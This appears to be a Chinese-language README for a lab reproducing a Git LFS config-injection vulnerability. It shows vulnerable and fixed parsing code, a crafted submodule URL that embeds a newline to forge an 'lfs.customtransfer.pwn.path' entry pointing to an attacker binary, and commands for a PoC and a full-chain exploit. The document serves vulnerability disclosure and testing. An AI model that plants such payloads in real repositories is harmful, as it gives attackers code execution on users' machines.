| CVE | CVE-2026-105802 |
| 组件 | Git LFS — git/config.go(ParseConfigLines / FileSource / gitConfig),tq/custom.go |
| 受影响版本 | 0.6.0 至 3.8.0 |
| 修复版本 | 3.8.1 — 提交 1b2672aa(GHSA-xrgv-7vx6-5vx6) |
| CWE | CWE-144(行分隔符处理不当) |
| 影响 | 恶意仓库在子模块 Git 配置值中嵌入换行符;按换行符拆分的解析器将其转换为伪造的配置项,伪装成 LFS 选项,导致 Git LFS 在获取或添加对象时执行攻击者控制的命令/二进制文件 |
| 攻击向量 | 仓库控制的子模块配置 — 克隆/获取带有子模块的恶意仓库 |
| 触发条件 | 子模块 url = "https://example.com/repo\nlfs.customtransfer.pwn.path=/tmp/evil-transfer" |
存在漏洞的解析器按换行符拆分 git config -l 的输出:
// v3.8.0, git/config.go
entries := strings.Split(config, "\n")
...
fields := strings.SplitN(e, "=", 2)
// and the config was read with: gitConfig("-l", "-f", filename)
修复后的代码读取以 NUL 分隔的输出,并明确无误地解析各个条目:
// v3.8.1 (commit 1b2672aa)
entries := strings.Split(config, "\x00")
...
fields := strings.SplitN(e, "\n", 2)
// read with: gitConfig("-l", "-z", "-f", filename)
Git 配置值可能包含字面换行符(配置文件中的带引号 \n 转义)。git config -l 会原样打印值,因此嵌入的 LF 在其输出中与条目分隔符无法区分。修复前的解析器先按 \n 拆分该输出,再按 = 拆分,于是嵌入 LF 之后的文本变成了一个新配置条目。一个恶意的子模块定义,例如
[submodule "evil"]
url = "https://example.com/repo\nlfs.customtransfer.pwn.path=/tmp/evil-transfer"
因此注入了选项 lfs.customtransfer.pwn.path,其值为攻击者所选。tq 包将该值注册为自定义传输适配器可执行文件,Git LFS 在对象传输期间会运行该文件。
修复方案将所有配置源切换为 git config -l -z(以 NUL 分隔的条目,每个条目内使用 key\nvalue),因此嵌入的 LF 仍属于值的一部分,无法伪造条目。
| 服务 | 镜像 | 角色 |
|---|---|---|
lfs2-vuln | cve-2026-105802:vuln | Git LFS v3.8.0 |
lfs2-fixed | cve-2026-105802:fixed | Git LFS v3.8.1(厂商修复) |
poc | cve-2026-105802-poc:local | 仅使用标准库的 Python 驱动 |
包内的 Go 测试二进制文件会从每个标签运行真实流水线:
git config --includes -l [-z] -f <crafted file> → 真实的
ParseConfigLines / ParseConfigEntries → 真实的 tq
manifest/adapter 设置。两侧仅 Git LFS 版本不同。
./run-lab.sh build # builds both tags with Go 1.25
./run-lab.sh up # cve105802lab network: lfs2-vuln / lfs2-fixed
./run-lab.sh sweep
./run-lab.sh down
poc/poc.py(仅使用标准库):
lfs.url)外加一个良性子模块对照。1b2672aa。一个独立的完整攻击链利用程序位于 exploit/exploit.py:
python3 exploit/exploit.py --host=lfs2-vuln
# exit 1 on confirmed forgery/adapter registration, 0 on a safe target
| 观察项 | lfs2-vuln (3.8.0) | lfs2-fixed (3.8.1) |
|---|---|---|
| 解析出的键 | lfs.customtransfer.pwn.path、submodule.evil.url | 仅 submodule.evil.url |
| 传输适配器 | pwn → /tmp/evil-transfer | 无 |
lfs.url 注入变体 | 伪造的 lfs.url 条目 | 仍保留在值内部 |
| 良性子模块 | 未改变 | 未改变 |
捕获的运行记录:evidence/check-*-run.txt、evidence/exploit-*-run.txt、
evidence/probe-*-run.txt、evidence/mitigation-*-run.txt、
evidence/exploit-standalone-run.txt、evidence/exploit-standalone-fixed-run.txt、
evidence/versions.txt、evidence/0day-sweep.txt。
cve105802lab
网络上运行的有界容器;实验运行时中存在 git(流水线会执行它)。修复后的代码行解析以 NUL 分隔的条目;子模块
值中嵌入的 LF(传输路径注入、lfs.url 注入)仍保留在
值内部,不会伪造任何配置条目。良性子模块配置未改变。
README.md this write-up
run-lab.sh environment driver (build / up / sweep / down)
Makefile convenience targets
poc/poc.py the PoC (check / exploit / probe / mitigation)
exploit/exploit.py standalone full-chain exploit
lab/lab.Dockerfile builds both upstream tags
lab/harness/ in-package Go harness (tq), per-tag parsing API
lab/service.py HTTP wrapper (POST /parse)
evidence/ captured runs of every mode on both sides
TRACKING.md excluded (working record)